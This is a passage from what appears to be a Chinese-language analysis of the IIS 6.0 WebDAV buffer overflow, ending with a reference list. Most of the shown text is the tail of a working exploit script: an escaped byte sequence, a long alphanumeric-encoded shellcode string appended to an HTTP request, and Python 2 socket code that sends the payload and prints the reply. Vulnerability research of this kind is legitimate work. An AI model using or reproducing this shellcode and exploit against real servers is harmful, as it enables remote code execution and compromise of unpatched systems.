c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>\r\n\r\n' print paysock.send(pay) data = sock.recv(80960 ) print data sock.close
参考资料
IIS_exploit
https://github.com/edwardz246003/IIS_exploit
Paper
https://paper.seebug.org/259/
Microsoft
https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
腾讯玄武实验室
https://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/